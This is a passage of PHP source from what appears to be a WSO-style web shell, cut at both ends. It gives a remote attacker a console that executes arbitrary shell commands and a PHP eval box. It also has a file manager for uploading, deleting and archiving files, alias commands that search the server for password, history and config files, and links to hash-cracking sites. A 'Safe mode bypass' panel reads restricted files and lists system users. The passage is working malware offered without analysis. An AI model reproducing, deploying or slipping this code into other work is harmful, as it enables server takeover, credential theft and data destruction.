-name .bash_history",\n  \t\t"find .bash_history files in current dir" => "find . -type f -name .bash_history",\n  \t\t"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",\n  \t\t"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",\n\t\t"Locate" => "",\n  \t\t"locate httpd.conf files" => "locate httpd.conf",\n\t\t"locate vhosts.conf files" => "locate vhosts.conf",\n\t\t"locate proftpd.conf files" => "locate proftpd.conf",\n\t\t"locate psybnc.conf files" => "locate psybnc.conf",\n\t\t"locate my.conf files" => "locate my.conf",\n\t\t"locate admin.php files" =>"locate admin.php",\n\t\t"locate cfg.php files" => "locate cfg.php",\n\t\t"locate conf.php files" => "locate conf.php",\n\t\t"locate config.dat files" => "locate config.dat",\n\t\t"locate config.php files" => "locate config.php",\n\t\t"locate config.inc files" => "locate config.inc",\n\t\t"locate config.inc.php" => "locate config.inc.php",\n\t\t"locate config.default.php files" => "locate config.default.php",\n\t\t"locate config* files " => "locate config",\n\t\t"locate .conf files"=>"locate \'.conf\'",\n\t\t"locate .pwd files" => "locate \'.pwd\'",\n\t\t"locate .sql files" => "locate \'.sql\'",\n\t\t"locate .htpasswd files" => "locate \'.htpasswd\'",\n\t\t"locate .bash_history files" => "locate \'.bash_history\'",\n\t\t"locate .mysql_history files" => "locate \'.mysql_history\'",\n\t\t"locate .fetchmailrc files" => "locate \'.fetchmailrc\'",\n\t\t"locate backup files" => "locate backup",\n\t\t"locate dump files" => "locate dump",\n\t\t"locate priv files" => "locate priv"\n\t);\nfunction actionConsole() {\n    if(!empty($_POST[\'p1\']) && !empty($_POST[\'p2\'])) {\n        prototype(md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\', true);\n        $_POST[\'p1\'] .= \' 2>&1\';\n    } elseif(!empty($_POST[\'p1\']))\n        prototype(md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\', 0);\n\tif(isset($_POST[\'ajax\'])) {\n\t\tprototype(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', true);\n\t\tob_start();\n\t\techo "d.cf.cmd.value=\'\';\\n";\n\t\t$temp = @iconv($_POST[\'charset\'], \'UTF-8\', addcslashes("\\n$ ".$_POST[\'p1\']."\\n".ex($_POST[\'p1\']),"\\n\\r\\t\\\'\\0"));\n\t\tif(preg_match("!.*cd\\s+([^;]+)$!",$_POST[\'p1\'],$match))\t{\n\t\t\tif(@chdir($match[1])) {\n\t\t\t\t$GLOBALS[\'cwd\'] = @getcwd();\n\t\t\t\techo "c_=\'".$GLOBALS[\'cwd\']."\';";\n\t\t\t}\n\t\t}\n\t\techo "d.cf.output.value+=\'".$temp."\';";\n\t\techo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";\n\t\t$temp = ob_get_clean();\n\t\techo strlen($temp), "\\n", $temp;\n\t\texit;\n\t}\n    if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))\n\t\tprototype(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', 0);\n\thardHeader();\n    echo "<script>\nif(window.Event) window.captureEvents(Event.KEYDOWN);\nvar cmds = new Array(\'\');\nvar cur = 0;\nfunction kp(e) {\n\tvar n = (window.Event) ? e.which : e.keyCode;\n\tif(n == 38) {\n\t\tcur--;\n\t\tif(cur>=0)\n\t\t\tdocument.cf.cmd.value = cmds[cur];\n\t\telse\n\t\t\tcur++;\n\t} else if(n == 40) {\n\t\tcur++;\n\t\tif(cur < cmds.length)\n\t\t\tdocument.cf.cmd.value = cmds[cur];\n\t\telse\n\t\t\tcur--;\n\t}\n}\nfunction add(cmd) {\n\tcmds.pop();\n\tcmds.push(cmd);\n\tcmds.push(\'\');\n\tcur = cmds.length-1;\n}\n</script>";\n\techo \'<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\\\'clear\\\'){d.cf.output.value=\\\'\\\';d.cf.cmd.value=\\\'\\\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\\\'\\\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\\\'\\\');} return false;"><label><select name=alias>\';\n\tforeach($GLOBALS[\'aliases\'] as $n => $v) {\n\t\tif($v == \'\') {\n\t\t\techo \'<optgroup label="-\'.htmlspecialchars($n).\'-"></optgroup>\';\n\t\t\tcontinue;\n\t\t}\n\t\techo \'<option value="\'.htmlspecialchars($v).\'">\'.$n.\'</option>\';\n\t}\n\t\n\techo \'</select></label><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\\\'\\\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\\\'\\\');}" value="submit"> <nobr><input type=checkbox name=ajax value=1 \'.(@$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX <input type=checkbox name=show_errors value=1 \'.(!empty($_POST[\'p2\'])||$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\']?\'checked\':\'\').\'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin-top:5px;" readonly>\';\n\tif(!empty($_POST[\'p1\'])) {\n\t\techo htmlspecialchars("$ ".$_POST[\'p1\']."\\n".ex($_POST[\'p1\']));\n\t}\n\techo \'</textarea><table style="border:1px solid #060a10;background-color:#060a10;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td style="padding-left:4px; width:13px;">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>\';\n\techo \'</form></div><script>d.cf.cmd.focus();</script>\';\n\thardFooter();\n}\nfunction actionPhp() {\n\tif( isset($_POST[\'ajax\']) ) {\n\t\t$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = true;\n\t\tob_start();\n\t\teval($_POST[\'p1\']);\n\t\t$temp = "document.getElementById(\'PhpOutput\').style.display=\'\';document.getElementById(\'PhpOutput\').innerHTML=\'".addcslashes(htmlspecialchars(ob_get_clean()),"\\n\\r\\t\\\\\'\\0")."\';\\n";\n\t\techo strlen($temp), "\\n", $temp;\n\t\texit; \n\t}\n\thardHeader();\n\tif( isset($_POST[\'p2\']) && ($_POST[\'p2\'] == \'info\') ) {\n\t\techo \'<h1>PHP info</h1><div class=content>\';\n\t\tob_start();\n\t\tphpinfo();\n\t\t$tmp = ob_get_clean();\n\t\t$tmp = preg_replace(\'!body {.*}!msiU\',\'\',$tmp);\n\t\t$tmp = preg_replace(\'!a:\\w+ {.*}!msiU\',\'\',$tmp);\n\t\t$tmp = preg_replace(\'!h1!msiU\',\'h2\',$tmp);\n\t\t$tmp = preg_replace(\'!td, th {(.*)}!msiU\',\'.e, .v, .h, .h th {$1}\',$tmp);\n\t\t$tmp = preg_replace(\'!body, td, th, h2, h2 {.*}!msiU\',\'\',$tmp);\n\t\techo $tmp;\n\t\techo \'</div><br>\';\n\t}\n\tif(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))\n\t\t$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false;\n\t\techo \'<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\\\'\\\');}return false;"><textarea name=code class=bigarea id=PhpCode>\'.(!empty($_POST[\'p1\'])?htmlspecialchars($_POST[\'p1\']):\'\').\'</textarea><input type=submit value=Eval style="margin-top:5px">\';\n\techo \' <input type=checkbox name=ajax value=1 \'.($_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX</form><pre id=PhpOutput style="\'.(empty($_POST[\'p1\'])?\'display:none;\':\'\').\'margin-top:5px;" class=ml1>\';\n\tif(!empty($_POST[\'p1\'])) {\n\t\tob_start();\n\t\teval($_POST[\'p1\']);\n\t\techo htmlspecialchars(ob_get_clean());\n\t}\n\techo \'</pre></div>\';\n\thardFooter();\n}\nfunction actionFilesMan() {\n    if (!empty ($_COOKIE[\'f\']))\n        $_COOKIE[\'f\'] = @unserialize($_COOKIE[\'f\']);\n    \n\tif(!empty($_POST[\'p1\'])) {\n\t\tswitch($_POST[\'p1\']) {\n\t\t\tcase \'uploadFile\':\n\t\t\t\tif ( is_array($_FILES[\'f\'][\'tmp_name\']) ) {\n\t\t\t\t\tforeach ( $_FILES[\'f\'][\'tmp_name\'] as $i => $tmpName ) {\n                        if(!@move_uploaded_file($tmpName, $_FILES[\'f\'][\'name\'][$i])) {\n                                echo "Can\'t upload file!";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tcase \'mkdir\':\n\t\t\t\tif(!@mkdir($_POST[\'p2\']))\n\t\t\t\t\techo "Can\'t create new dir";\n\t\t\t\tbreak;\n\t\t\tcase \'delete\':\n\t\t\t\tfunction deleteDir($path) {\n\t\t\t\t\t$path = (substr($path,-1)==\'/\') ? $path:$path.\'/\';\n\t\t\t\t\t$dh  = opendir($path);\n\t\t\t\t\twhile ( ($▟ = readdir($dh) ) !== false) {\n\t\t\t\t\t\t$▟ = $path.$▟;\n\t\t\t\t\t\tif ( (basename($▟) == "..") || (basename($▟) == ".") )\n\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t$type = filetype($▟);\n\t\t\t\t\t\tif ($type == "dir")\n\t\t\t\t\t\t\tdeleteDir($▟);\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t@unlink($▟);\n\t\t\t\t\t}\n\t\t\t\t\tclosedir($dh);\n\t\t\t\t\t@rmdir($path);\n\t\t\t\t}\n\t\t\t\tif(is_array(@$_POST[\'f\']))\n\t\t\t\t\tforeach($_POST[\'f\'] as $f) {\n                        if($f == \'..\')\n                            continue;\n\t\t\t\t\t\t$f = urldecode($f);\n\t\t\t\t\t\tif(is_dir($f))\n\t\t\t\t\t\t\tdeleteDir($f);\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t@unlink($f);\n\t\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tcase \'paste\':\n\t\t\t\tif($_COOKIE[\'act\'] == \'copy\') {\n\t\t\t\t\tfunction copy_paste($c,$s,$d){\n\t\t\t\t\t\tif(is_dir($c.$s)){\n\t\t\t\t\t\t\tmkdir($d.$s);\n\t\t\t\t\t\t\t$h = @opendir($c.$s);\n\t\t\t\t\t\t\twhile (($f = @readdir($h)) !== false)\n\t\t\t\t\t\t\t\tif (($f != ".") and ($f != ".."))\n\t\t\t\t\t\t\t\t\tcopy_paste($c.$s.\'/\',$f, $d.$s.\'/\');\n\t\t\t\t\t\t} elseif(is_file($c.$s))\n\t\t\t\t\t\t\t@copy($c.$s, $d.$s);\n\t\t\t\t\t}\n\t\t\t\t\tforeach($_COOKIE[\'f\'] as $f)\n\t\t\t\t\t\tcopy_paste($_COOKIE[\'c\'],$f, $GLOBALS[\'cwd\']);\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'move\') {\n\t\t\t\t\tfunction move_paste($c,$s,$d){\n\t\t\t\t\t\tif(is_dir($c.$s)){\n\t\t\t\t\t\t\tmkdir($d.$s);\n\t\t\t\t\t\t\t$h = @opendir($c.$s);\n\t\t\t\t\t\t\twhile (($f = @readdir($h)) !== false)\n\t\t\t\t\t\t\t\tif (($f != ".") and ($f != ".."))\n\t\t\t\t\t\t\t\t\tcopy_paste($c.$s.\'/\',$f, $d.$s.\'/\');\n\t\t\t\t\t\t} elseif(@is_file($c.$s))\n\t\t\t\t\t\t\t@copy($c.$s, $d.$s);\n\t\t\t\t\t}\n\t\t\t\t\tforeach($_COOKIE[\'f\'] as $f)\n\t\t\t\t\t\t@rename($_COOKIE[\'c\'].$f, $GLOBALS[\'cwd\'].$f);\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'zip\') {\n\t\t\t\t\tif(class_exists(\'ZipArchive\')) {\n                        $zip = new ZipArchive();\n                        if ($zip->open($_POST[\'p2\'], 1)) {\n                            chdir($_COOKIE[\'c\']);\n                            foreach($_COOKIE[\'f\'] as $f) {\n                                if($f == \'..\')\n                                    continue;\n                                if(@is_file($_COOKIE[\'c\'].$f))\n                                    $zip->addFile($_COOKIE[\'c\'].$f, $f);\n                                elseif(@is_dir($_COOKIE[\'c\'].$f)) {\n                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.\'/\', FilesystemIterator::SKIP_DOTS));\n                                    foreach ($iterator as $key=>$value) {\n                                        $zip->addFile(realpath($key), $key);\n                                    }\n                                }\n                            }\n                            chdir($GLOBALS[\'cwd\']);\n                            $zip->close();\n                        }\n                    }\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'unzip\') {\n\t\t\t\t\tif(class_exists(\'ZipArchive\')) {\n                        $zip = new ZipArchive();\n                        foreach($_COOKIE[\'f\'] as $f) {\n                            if($zip->open($_COOKIE[\'c\'].$f)) {\n                                $zip->extractTo($GLOBALS[\'cwd\']);\n                                $zip->close();\n                            }\n                        }\n                    }\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'tar\') {\n                    chdir($_COOKIE[\'c\']);\n                    $_COOKIE[\'f\'] = array_map(\'escapeshellarg\', $_COOKIE[\'f\']);\n                    ex(\'tar cfzv \' . escapeshellarg($_POST[\'p2\']) . \' \' . implode(\' \', $_COOKIE[\'f\']));\n                    chdir($GLOBALS[\'cwd\']);\n\t\t\t\t}\n\t\t\t\tunset($_COOKIE[\'f\']);\n                setcookie(\'f\', \'\', time() - 3600);\n\t\t\t\tbreak;\n\t\t\tdefault:\n                if(!empty($_POST[\'p1\'])) {\n\t\t\t\t\tprototype(\'act\', $_POST[\'p1\']);\n\t\t\t\t\tprototype(\'f\', serialize(@$_POST[\'f\']));\n\t\t\t\t\tprototype(\'c\', @$_POST[\'c\']);\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t}\n\t}\n    hardHeader();\n\techo \'<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>\';\n\t$dirContent = hardScandir(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\']);\n\tif($dirContent === false) {\techo \'Can\\\'t open this folder!\';hardFooter(); return; }\n\tglobal $sort;\n\t$sort = array(\'name\', 1);\n\tif(!empty($_POST[\'p1\'])) {\n\t\tif(preg_match(\'!s_([A-z]+)_(\\d{1})!\', $_POST[\'p1\'], $match))\n\t\t\t$sort = array($match[1], (int)$match[2]);\n\t}\necho "<script>\n\tfunction sa() {\n\t\tfor(i=0;i<d.files.elements.length;i++)\n\t\t\tif(d.files.elements[i].type == \'checkbox\')\n\t\t\t\td.files.elements[i].checked = d.files.elements[0].checked;\n\t}\n</script>\n<table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>\n<form name=files method=post><tr><th width=\'13px\'><input type=checkbox onclick=\'sa()\' class=chkbx></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_name_".($sort[1]?0:1)."\\")\'>Name</a></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_size_".($sort[1]?0:1)."\\")\'>Size</a></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_modify_".($sort[1]?0:1)."\\")\'>Modify</a></th><th>Owner/Group</th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_perms_".($sort[1]?0:1)."\\")\'>Permissions</a></th><th>Actions</th></tr>";\n\t$dirs = $files = array();\n\t$n = count($dirContent);\n\tfor($i=0;$i<$n;$i++) {\n\t\t$ow = @posix_getpwuid(@fileowner($dirContent[$i]));\n\t\t$gr = @posix_getgrgid(@filegroup($dirContent[$i]));\n\t\t$tmp = array(\'name\' => $dirContent[$i],\n\t\t\t\t\t \'path\' => $GLOBALS[\'cwd\'].$dirContent[$i],\n\t\t\t\t\t \'modify\' => date(\'Y-m-d H:i:s\', @filemtime($GLOBALS[\'cwd\'] . $dirContent[$i])),\n\t\t\t\t\t \'perms\' => viewPermsColor($GLOBALS[\'cwd\'] . $dirContent[$i]),\n\t\t\t\t\t \'size\' => @filesize($GLOBALS[\'cwd\'].$dirContent[$i]),\n\t\t\t\t\t \'owner\' => $ow[\'name\']?$ow[\'name\']:@fileowner($dirContent[$i]),\n\t\t\t\t\t \'group\' => $gr[\'name\']?$gr[\'name\']:@filegroup($dirContent[$i])\n\t\t\t\t\t);\n\t\tif(@is_file($GLOBALS[\'cwd\'] . $dirContent[$i]))\n\t\t\t$files[] = array_merge($tmp, array(\'type\' => \'file\'));\n\t\telseif(@is_link($GLOBALS[\'cwd\'] . $dirContent[$i]))\n\t\t\t$dirs[] = array_merge($tmp, array(\'type\' => \'link\', \'link\' => readlink($tmp[\'path\'])));\n\t\telseif(@is_dir($GLOBALS[\'cwd\'] . $dirContent[$i])&&($dirContent[$i] != "."))\n\t\t\t$dirs[] = array_merge($tmp, array(\'type\' => \'dir\'));\n\t}\n\t$GLOBALS[\'sort\'] = $sort;\n\tfunction cmp($a, $b) {\n\t\tif($GLOBALS[\'sort\'][0] != \'size\')\n\t\t\treturn strcmp(strtolower($a[$GLOBALS[\'sort\'][0]]), strtolower($b[$GLOBALS[\'sort\'][0]]))*($GLOBALS[\'sort\'][1]?1:-1);\n\t\telse\n\t\t\treturn (($a[\'size\'] < $b[\'size\']) ? -1 : 1)*($GLOBALS[\'sort\'][1]?1:-1);\n\t}\n\tusort($files, "cmp");\n\tusort($dirs, "cmp");\n\t$files = array_merge($dirs, $files);\n\t$l = 0;\n\tforeach($files as $f) {\n\t\techo \'<tr\'.($l?\' class=l1\':\'\').\'><td><input type=checkbox name="f[]" value="\'.urlencode($f[\'name\']).\'" class=chkbx></td><td><a href=# onclick="\'.(($f[\'type\']==\'file\')?\'g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'view\\\')">\'.htmlspecialchars($f[\'name\']):\'g(\\\'FilesMan\\\',\\\'\'.$f[\'path\'].\'\\\');" \' . (empty ($f[\'link\']) ? \'\' : "title=\'{$f[\'link\']}\'") . \'><b>[ \' . htmlspecialchars($f[\'name\']) . \' ]</b>\').\'</a></td><td>\'.(($f[\'type\']==\'file\')?viewSize($f[\'size\']):$f[\'type\']).\'</td><td>\'.$f[\'modify\'].\'</td><td>\'.$f[\'owner\'].\'/\'.$f[\'group\'].\'</td><td><a href=# onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\',\\\'chmod\\\')">\'.$f[\'perms\']\n\t\t\t.\'</td><td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'rename\\\')">R</a> <a class="tooltip" data-tooltip="Touch" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'touch\\\')">T</a>\'.(($f[\'type\']==\'file\')?\' <a class="tooltip" data-tooltip="Frame" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'frame\\\')">F</a> <a class="tooltip" data-tooltip="Edit" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'edit\\\')">E</a> <a class="tooltip" data-tooltip="Download" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'download\\\')">D</a>\':\'\').\'</td></tr>\';\n\t\t$l = $l?0:1;\n\t}\n\techo "<tr id=fak><td colspan=7>\n\t<input type=hidden name=ne value=\'\'>\n\t<input type=hidden name=a value=\'FilesMan\'>\n\t<input type=hidden name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'>\n\t<input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\')."\'>\n\t<label><select name=\'p1\'>";\n\tif(!empty($_COOKIE[\'act\']) && @count($_COOKIE[\'f\']))\n        echo "<option value=\'paste\'>↳ Paste</option>";\n\techo "<option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>";\n    if(class_exists(\'ZipArchive\'))\n        echo "<option value=\'zip\'>+ zip</option><option value=\'unzip\'>- zip</option>";\n    echo "<option value=\'tar\'>+ tar.gz</option>";\n    echo "</select></label>";\n    if(!empty($_COOKIE[\'act\']) && @count($_COOKIE[\'f\']) && (($_COOKIE[\'act\'] == \'zip\') || ($_COOKIE[\'act\'] == \'tar\')))\n        echo "&nbsp;file name: <input type=text name=p2 value=\'hard_" . date("Ymd_His") . "." . ($_COOKIE[\'act\'] == \'zip\'?\'zip\':\'tar.gz\') . "\'>&nbsp;";\n    echo "<input type=\'submit\' value=\'submit\'></td></tr></form></table></div>";\n\thardFooter();\n}\nfunction actionStringTools() {\n\tif(!function_exists(\'hex2bin\')) {function hex2bin($p) {return decbin(hexdec($p));}}\n    if(!function_exists(\'binhex\')) {function binhex($p) {return dechex(bindec($p));}}\n\tif(!function_exists(\'hex2ascii\')) {function hex2ascii($p){$r=\'\';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}\n\tif(!function_exists(\'ascii2hex\')) {function ascii2hex($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= sprintf(\'%02X\',ord($p[$i]));return strtoupper($r);}}\n\tif(!function_exists(\'full_urlencode\')) {function full_urlencode($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= \'%\'.dechex(ord($p[$i]));return strtoupper($r);}}\n\t$stringTools = array(\n\t\t\'Base64 encode\' => \'base64_encode\',\n\t\t\'Base64 decode\' => \'base64_decode\',\n\t\t\'Url encode\' => \'urlencode\',\n\t\t\'Url decode\' => \'urldecode\',\n\t\t\'Full urlencode\' => \'full_urlencode\',\n\t\t\'md5 hash\' => \'md5\',\n\t\t\'sha1 hash\' => \'sha1\',\n\t\t\'crypt\' => \'crypt\',\n\t\t\'CRC32\' => \'crc32\',\n\t\t\'ASCII to HEX\' => \'ascii2hex\',\n\t\t\'HEX to ASCII\' => \'hex2ascii\',\n\t\t\'HEX to DEC\' => \'hexdec\',\n\t\t\'HEX to BIN\' => \'hex2bin\',\n\t\t\'DEC to HEX\' => \'dechex\',\n\t\t\'DEC to BIN\' => \'decbin\',\n\t\t\'BIN to HEX\' => \'binhex\',\n\t\t\'BIN to DEC\' => \'bindec\',\n\t\t\'String to lower case\' => \'strtolower\',\n\t\t\'String to upper case\' => \'strtoupper\',\n\t\t\'Htmlspecialchars\' => \'htmlspecialchars\',\n\t\t\'String length\' => \'strlen\',\n\t);\n\tif(isset($_POST[\'ajax\'])) {\n\t\tprototype(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', true);\n\t\tob_start();\n\t\tif(in_array($_POST[\'p1\'], $stringTools))\n\t\t\techo $_POST[\'p1\']($_POST[\'p2\']);\n\t\t$temp = "document.getElementById(\'strOutput\').style.display=\'\';document.getElementById(\'strOutput\').innerHTML=\'".addcslashes(htmlspecialchars(ob_get_clean()),"\\n\\r\\t\\\\\'\\0")."\';\\n";\n\t\techo strlen($temp), "\\n", $temp;\n\t\texit;\n\t}\n    if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))\n\t\tprototype(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', 0);\n\thardHeader();\n\techo \'<h1>String conversions</h1><div class=content>\';\n\techo "<form name=\'toolsForm\' onSubmit=\'if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;\'><label><select name=\'selectTool\'>";\n\tforeach($stringTools as $k => $v)\n\t\techo "<option value=\'".htmlspecialchars($v)."\'>".$k."</option>";\n\t\techo "</select></label><input type=\'submit\' value=\'submit\'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\')."> send using AJAX<br><textarea name=\'input\' style=\'margin-top:5px\' class=bigarea>".(empty($_POST[\'p1\'])?\'\':htmlspecialchars(@$_POST[\'p2\']))."</textarea></form><pre class=\'ml1\' style=\'".(empty($_POST[\'p1\'])?\'display:none;\':\'\')."margin-top:5px\' id=\'strOutput\'>";\n\tif(!empty($_POST[\'p1\'])) {\n\t\tif(in_array($_POST[\'p1\'], $stringTools))echo htmlspecialchars($_POST[\'p1\']($_POST[\'p2\']));\n\t}\n\techo"</pre></div><br><h1>Search files:</h1><div class=content>\n\t\t<form onsubmit=\\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\\"><table cellpadding=\'1\' cellspacing=\'0\' width=\'50%\'>\n\t\t\t<tr><td width=\'1%\'>Text:</td><td><input type=\'text\' name=\'text\' style=\'width:100%\'></td></tr>\n\t\t\t<tr><td>Path:</td><td><input type=\'text\' name=\'cwd\' value=\'". htmlspecialchars($GLOBALS[\'cwd\']) ."\' style=\'width:100%\'></td></tr>\n\t\t\t<tr><td>Name:</td><td><input type=\'text\' name=\'filename\' value=\'*\' style=\'width:100%\'></td></tr>\n\t\t\t<tr><td></td><td><input type=\'submit\' value=\'submit\'></td></tr>\n\t\t\t</table></form>";\n\tfunction hardRecursiveGlob($path) {\n\t\tif(substr($path, -1) != \'/\')\n\t\t\t$path.=\'/\';\n\t\t$paths = @array_unique(@array_merge(@glob($path.$_POST[\'p3\']), @glob($path.\'*\', GLOB_ONLYDIR)));\n\t\tif(is_array($paths)&&@count($paths)) {\n\t\t\tforeach($paths as $▟) {\n\t\t\t\tif(@is_dir($▟)){\n\t\t\t\t\tif($path!=$▟)\n\t\t\t\t\t\thardRecursiveGlob($▟);\n\t\t\t\t} else {\n\t\t\t\t\tif(empty($_POST[\'p2\']) || @strpos(file_get_contents($▟), $_POST[\'p2\'])!==false)\n\t\t\t\t\t\techo "<a href=\'#\' onclick=\'g(\\"FilesTools\\",null,\\"".urlencode($▟)."\\", \\"view\\",\\"\\")\'>".htmlspecialchars($▟)."</a><br>";\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tif(@$_POST[\'p3\'])\n\t\thardRecursiveGlob($_POST[\'c\']);\n\techo "</div><br><h1>Search for hash:</h1><div class=content>\n\t\t<form method=\'post\' target=\'_blank\' name=\'hf\'>\n\t\t\t<input type=\'text\' name=\'hash\' style=\'width:200px;\'><br>\n            <input type=\'hidden\' name=\'act\' value=\'find\'/>\n\t\t\t<input type=\'submit\' value=\'hashcracking.ru\' onclick=\\"document.hf.action=\'https://hashcracking.ru/index.php\';document.hf.submit()\\"><br>\n\t\t\t<input type=\'submit\' value=\'md5.rednoize.com\' onclick=\\"document.hf.action=\'http://md5.rednoize.com/?q=\'+document.hf.hash.value+\'&s=md5\';document.hf.submit()\\"><br>\n            <input type=\'submit\' value=\'fakenamegenerator.com\' onclick=\\"document.hf.action=\'http://www.fakenamegenerator.com/\';document.hf.submit()\\"><br>\n\t\t\t<input type=\'submit\' value=\'hashcrack.com\' onclick=\\"document.hf.action=\'http://www.hashcrack.com/index.php\';document.hf.submit()\\"><br>\n\t\t\t<input type=\'submit\' value=\'toolki.com\' onclick=\\"document.hf.action=\'http://toolki.com/\';document.hf.submit()\\"><br>\n\t\t\t<input type=\'submit\' value=\'fopo.com.ar\' onclick=\\"document.hf.action=\'http://fopo.com.ar/\';document.hf.submit()\\"><br>\n\t\t\t<input type=\'submit\' value=\'md5decrypter.com\' onclick=\\"document.hf.action=\'http://www.md5decrypter.com/\';document.hf.submit()\\"><br>\n\t\t</form></div>";\n\thardFooter();\n}\nfunction actionSafeMode() {\n\t$temp=\'\';\n\tob_start();\n\tswitch($_POST[\'p1\']) {\n\t\tcase 1:\n\t\t\t$temp=@tempnam($test, \'cx\');\n\t\t\tif(@copy("compress.zlib://".$_POST[\'p2\'], $temp)){\n\t\t\t\techo @file_get_contents($temp);\n\t\t\t\tunlink($temp);\n\t\t\t} else\n\t\t\t\techo \'Sorry... Can\\\'t open file\';\n\t\t\tbreak;\n\t\tcase 2:\n\t\t\t$files = glob($_POST[\'p2\'].\'*\');\n\t\t\tif( is_array($files) )\n\t\t\t\tforeach ($files as $filename)\n\t\t\t\t\techo $filename."\\n";\n\t\t\tbreak;\n\t\tcase 3:\n\t\t\t$ch = curl_init("file://".$_POST[\'p2\']."\\x00".SELF_PATH);\n\t\t\tcurl_exec($ch);\n\t\t\tbreak;\n\t\tcase 4:\n\t\t\tini_restore("safe_mode");\n\t\t\tini_restore("open_basedir");\n\t\t\tinclude($_POST[\'p2\']);\n\t\t\tbreak;\n\t\tcase 5:\n\t\t\tfor(;$_POST[\'p2\'] <= $_POST[\'p3\'];$_POST[\'p2\']++) {\n\t\t\t\t$uid = @posix_getpwuid($_POST[\'p2\']);\n\t\t\t\tif ($uid)\n\t\t\t\t\techo join(\':\',$uid)."\\n";\n\t\t\t}\n\t\t\tbreak;\n\t\tcase 6:\n\t\t\tif(!function_exists(\'imap_open\'))break;\n\t\t\t$stream = imap_open($_POST[\'p2\'], "", "");\n\t\t\tif ($stream == FALSE)\n\t\t\t\tbreak;\n\t\t\techo imap_body($stream, 1);\n\t\t\timap_close($stream);\n\t\t\tbreak;\n\t}\n\t$temp = ob_get_clean();\n\thardHeader();\n\techo \'<h1>Safe mode bypass</h1><div class=content>\';\n\techo \'<span>Copy (read file)</span><form onsubmit=\\\'g(null,null,"1",this.param.value);return false;\\\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Glob (list dir)</span><form onsubmit=\\\'g(null,null,"2",this.param.value);return false;\\\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Curl (read file)</span><form 